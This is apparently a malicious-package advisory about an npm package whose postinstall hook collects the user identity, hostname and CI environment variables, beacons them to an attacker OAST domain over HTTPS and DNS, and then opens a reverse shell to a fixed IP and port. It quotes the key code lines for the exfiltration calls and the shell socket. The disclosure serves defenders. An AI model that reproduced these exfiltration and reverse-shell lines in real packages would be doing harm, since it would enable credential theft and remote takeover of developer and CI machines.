GCVE-110-OSM-2026-4742

Exfiltrates system identity and CI environment variables to attacker-controlled OAST infrastructure then unconditionally spawns a reverse shell to 10.10.10.247:4444 at postinstall time. Phase 1 executes whoami and id, collects hostname, platform, cwd, CI, GITHUB_REPOSITORY, and NODE_ENV, and beacons the data via HTTPS GET to qzt3b82juki138pb8n4nwg5f0664uvik.oastify.com with a secondary DNS beacon. Phase 2 fires unconditionally in both the success and error handlers: net.Socket().connect(4444, '10.10.10.247') spawns /bin/sh (Linux/macOS) or cmd.exe (Windows) and pipes all I/O streams to the attacker. Published by practiceextraone@gmail.com, the same actor behind sibling packages verify-mycommand and skills-detector. **Trigger** (`postinstall`): executes `node postinstall.js` at install time with no user interaction. **Phase 1 — Collection**: calls `execSync('whoami')` and `execSync('id')`; reads `os.hostname()`, `os.platform()`, `process.cwd()`, `process.env.CI`, `process.env.GITHUB_REPOSITORY`, `process.env.NODE_ENV`. **Phase 1 — OAST beacon**: `https.get({ host: 'qzt3b82juki138pb8n4nwg5f0664uvik.oastify.com', path: '/vercel?<encoded-payload>' })` — Burp Collaborator OAST endpoint logs each install callback to the operator. Also sends `dns.lookup('<whoami>.qzt3b82juki138pb8n4nwg5f0664uvik.oastify.com')` as a secondary out-of-band channel. **Phase 2 — Reverse shell (unconditional)**: `startReverseShell()` is called in both the HTTP success handler and error handler, ensuring execution regardless of Phase 1 outcome. `new net.Socket().connect(4444, '10.10.10.247')` spawns `/bin/sh` (Linux/macOS) or `cmd.exe` (Windows) and pipes all stdin/stdout/stderr streams to the attacker socket.